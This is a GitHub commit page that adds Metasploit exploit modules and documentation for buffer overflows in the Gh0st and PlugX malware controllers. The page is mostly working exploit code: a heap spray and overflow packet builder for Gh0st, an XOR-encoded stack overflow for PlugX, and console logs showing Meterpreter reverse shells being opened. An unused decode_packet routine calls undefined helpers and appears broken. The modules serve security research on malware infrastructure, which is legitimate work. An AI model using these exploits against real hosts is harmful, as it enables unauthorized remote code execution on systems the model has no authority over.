Skip to content

Commit be66ed8

Browse files
committed
Land rapid7#8788 exploits for Gh0st and PlugX malware controllers
2 parents b0dc44f + 33e1777 commit be66ed8

File tree

4 files changed

+382
-0
lines changed

4 files changed

+382
-0
lines changed
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
## Vulnerable Application
2+
3+
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim.
4+
This vulnerability can allow remote code execution in the context of the user who ran it.
5+
6+
A vulnerable version of the software is available here: [gh0st 3.6](https://github.com/rapid7/metasploit-framework/files/1243297/0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c.zip)
7+
8+
## Verification Steps
9+
10+
1. Run the application
11+
2. Start msfconsole
12+
3. Do: `use exploit/windows/misc/gh0st`
13+
4. Do: `set rhost [ip]`
14+
5. Do: `exploit`
15+
6. Get a shell
16+
17+
## Options
18+
19+
**MAGIC**
20+
21+
This is the 5 character magic used by the server. The default is `Gh0st`
22+
23+
## Scenarios
24+
25+
### Windows XP SP3 with gh0st 3.6
26+
27+
```
28+
msf > use exploit/windows/misc/gh0st
29+
msf exploit(gh0st) > set rhost 192.168.2.108
30+
rhost => 192.168.2.108
31+
msf exploit(gh0st) > exploit
32+
33+
[*] Started reverse TCP handler on 1.2.3.4:4444
34+
[*] 1.2.3.1:80 - Trying target Gh0st Beta 3.6
35+
[*] 1.2.3.1.108:80 - Spraying heap...
36+
[*] 1.2.3.1:80 - Trying command 103...
37+
[*] Sending stage (956991 bytes) to 1.2.3.1
38+
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 1.2.3.1:1303) at 2017-08-26 16:53:58 -0400
39+
[*] 1.2.3.1:80 - Server closed connection
40+
41+
meterpreter >
42+
```
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
## Vulnerable Application
2+
3+
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message.
4+
This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
5+
6+
A vulnerable version of the software is available here: [PlugX type 1](https://github.com/rapid7/metasploit-framework/files/1243293/9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6.zip)
7+
8+
## Verification
9+
10+
1. Run the application
11+
2. Start msfconsole
12+
3. Do: `use exploit/windows/misc/plugx`
13+
4. Do: `set rhost [ip]`
14+
5. Do: `set target [target]`
15+
6. Do: `exploit`
16+
7. Click OK for the "PeDecodePacket" pop-up on the target
17+
8. Get a shell
18+
19+
## Scenarios
20+
21+
### Windows XP SP3 with PlugX type 1
22+
23+
```
24+
msf > use exploit/windows/misc/plugx
25+
msf exploit(plugx) > set rhost 1.2.3.4
26+
rhost => 1.2.3.4
27+
msf exploit(plugx) > set target 1
28+
target => 1
29+
msf exploit(plugx) > set verbose true
30+
verbose => true
31+
msf exploit(plugx) > exploit
32+
33+
[*] Started reverse TCP handler on 1.2.3.99:4444
34+
[*] 1.2.3.4:13579 - Trying target PlugX Type I...
35+
[*] 1.2.3.4:13579 - waiting for response
36+
[*] Sending stage (956991 bytes) to 1.2.3.4
37+
[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400
38+
[*] 1.2.3.4:13579 - Server closed connection
39+
40+
meterpreter > getuid
41+
Server username: WINXP\user
42+
```
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Gh0st Client buffer Overflow',
15+
'Description' => %q{
16+
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
17+
},
18+
'Author' => 'Professor Plum',
19+
'License' => MSF_LICENSE,
20+
'References' =>
21+
[
22+
],
23+
'DefaultOptions' =>
24+
{
25+
'EXITFUNC' => 'thread',
26+
'AllowWin32SEH' => true
27+
},
28+
'Payload' =>
29+
{
30+
'Space' => 1000,
31+
'BadChars' => '',
32+
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
33+
},
34+
'Platform' => 'win',
35+
'DisclosureDate' => 'Jul 27 2017',
36+
'Targets' =>
37+
[
38+
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
39+
],
40+
'Privileged' => false,
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
46+
Opt::RPORT(80)
47+
]
48+
)
49+
end
50+
51+
def make_packet(id, data)
52+
msg = id.chr + data
53+
compressed = Zlib::Deflate.deflate(msg)
54+
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
55+
end
56+
57+
def validate_response(data)
58+
if data.nil?
59+
print_status('Server closed connection')
60+
return false
61+
end
62+
if data.empty?
63+
print_status('No response recieved')
64+
return false
65+
end
66+
if data.size < 13
67+
print_status('Invalid packet')
68+
print_status(data)
69+
return false
70+
end
71+
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
72+
if mag.index(datastore['MAGIC']) != 0
73+
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
74+
return false
75+
end
76+
if pktlen != data.size
77+
print_status('Packet size mismatch')
78+
return false
79+
end
80+
msg = Zlib::Inflate.inflate(data[13..data.size])
81+
if msg.size != msglen
82+
print_status('Packet decompress failure')
83+
return false
84+
end
85+
return true
86+
end
87+
88+
def check
89+
connect
90+
sock.put(make_packet(101, "\x00")) # heartbeat
91+
if validate_response(sock.get_once || '')
92+
return Exploit::CheckCode::Appears
93+
end
94+
Exploit::CheckCode::Safe
95+
end
96+
97+
def exploit
98+
print_status("Trying target #{target.name}")
99+
print_status('Spraying heap...')
100+
for i in 0..100
101+
connect
102+
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
103+
if not validate_response(sock.get_once)
104+
disconnect
105+
return
106+
end
107+
end
108+
109+
for i in 103..107
110+
print_status("Trying command #{i}...")
111+
begin
112+
connect
113+
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
114+
sock.put(sploit)
115+
if validate_response(sock.get_once)
116+
next
117+
end
118+
sleep(0.1)
119+
break
120+
rescue EOFError
121+
print_status('Invalid')
122+
end
123+
end
124+
handler
125+
disconnect
126+
end
127+
end
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'PlugX Controller Stack Overflow',
15+
'Description' => %q{
16+
This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
17+
},
18+
'Author' => 'Professor Plum',
19+
'License' => MSF_LICENSE,
20+
'References' =>
21+
[
22+
],
23+
'DefaultOptions' =>
24+
{
25+
'EXITFUNC' => 'thread',
26+
'AllowWin32SEH' => true
27+
},
28+
'Payload' =>
29+
{
30+
'Space' => 0xe000,
31+
'BadChars' => '',
32+
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
33+
},
34+
'Platform' => 'win',
35+
'DisclosureDate' => 'Jul 27 2017',
36+
'Targets' =>
37+
[
38+
['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
39+
['PlugX Type I', { 'xor' => 1, 'callebp' => 0x004045c4 }],
40+
['PlugX Type II', { 'xor' => 2, 'callebp' => 0x004045c4 }]
41+
],
42+
'Privileged' => false,
43+
'DefaultTarget' => 2)
44+
)
45+
46+
register_options(
47+
[
48+
Opt::RPORT(13579)
49+
]
50+
)
51+
end
52+
53+
def xor_stream1(key, src)
54+
key0 = key1 = key2 = key3 = key
55+
dst = ''
56+
for i in 0..(src.size - 1)
57+
key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
58+
key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
59+
key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
60+
key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
61+
new_key = (key2 + key3 + key1 + key0) & 0xFF
62+
res = src[i].ord ^ new_key
63+
dst += res.chr
64+
end
65+
dst
66+
end
67+
68+
def xor_stream1a(key, src)
69+
key0 = key1 = key2 = key3 = key
70+
dst = ''
71+
for i in 0..(src.size - 1)
72+
key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
73+
key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
74+
key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
75+
key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
76+
new_key = (key2 + key3 + key1 + key0) & 0xFF
77+
res = src[i].ord ^ new_key
78+
dst += res.chr
79+
end
80+
dst
81+
end
82+
83+
def xor_stream2(key, data)
84+
dst = ''
85+
for i in 0..(data.size - 1)
86+
key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
87+
dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
88+
end
89+
dst
90+
end
91+
92+
def xor_wrap(key, data)
93+
if target['xor'] == 0
94+
return xor_stream1a(key, data)
95+
elsif target['xor'] == 1
96+
return xor_stream1(key, data)
97+
elsif target['xor'] == 2
98+
return xor_stream2(key, data)
99+
end
100+
print_status('Unknown PlugX Type')
101+
end
102+
103+
def validate_response(data)
104+
if data.nil?
105+
print_status('Server closed connection')
106+
return false
107+
end
108+
if data.empty?
109+
print_status('No response recieved')
110+
return false
111+
end
112+
if data.size < 16
113+
print_status('Invalid packet')
114+
print_status(data.inspect)
115+
return false
116+
end
117+
key = data[0..4].unpack('<I')[0]
118+
hdr = xor_wrap(key, data[0..16])
119+
_x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
120+
if (comp_size + 16) == data.size
121+
raw = xor_wrap(key, data[16..-1])
122+
print_status(raw.inspect)
123+
return true
124+
end
125+
false
126+
end
127+
128+
def check
129+
connect
130+
key = rand(0xFFFFFFFF)
131+
hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
132+
hdr = xor_wrap(key, hh)
133+
sock.put([key].pack('<I') + hdr[4..-1])
134+
if validate_response(sock.get_once || '')
135+
return Exploit::CheckCode::Appears
136+
end
137+
Exploit::CheckCode::Safe
138+
end
139+
140+
def decode_packet(data)
141+
key = data[0..4].unpack('<I')
142+
_x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')
143+
144+
buf = xor_stream(key, data[16..-1])
145+
buf = decompress(buf)
146+
return the_flags[flags & 0xffff], xx, buf
147+
end
148+
149+
def exploit
150+
print_status("Trying target #{target.name}...")
151+
152+
l = 0xF008
153+
pad = 0x18
154+
a = 0x004045c4
155+
pktlen = l + pad + 9
156+
jmp = "\xe9" + [-pktlen].pack('<I')
157+
key = rand(0xFFFFFFFF)
158+
hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
159+
hdr = xor_wrap(key, hh)
160+
pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp
161+
162+
connect
163+
sock.put(pkt)
164+
165+
print_status('Waiting for response')
166+
validate_response(sock.get_once)
167+
disconnect
168+
169+
handler
170+
end
171+
end

0 commit comments

Comments
 (0)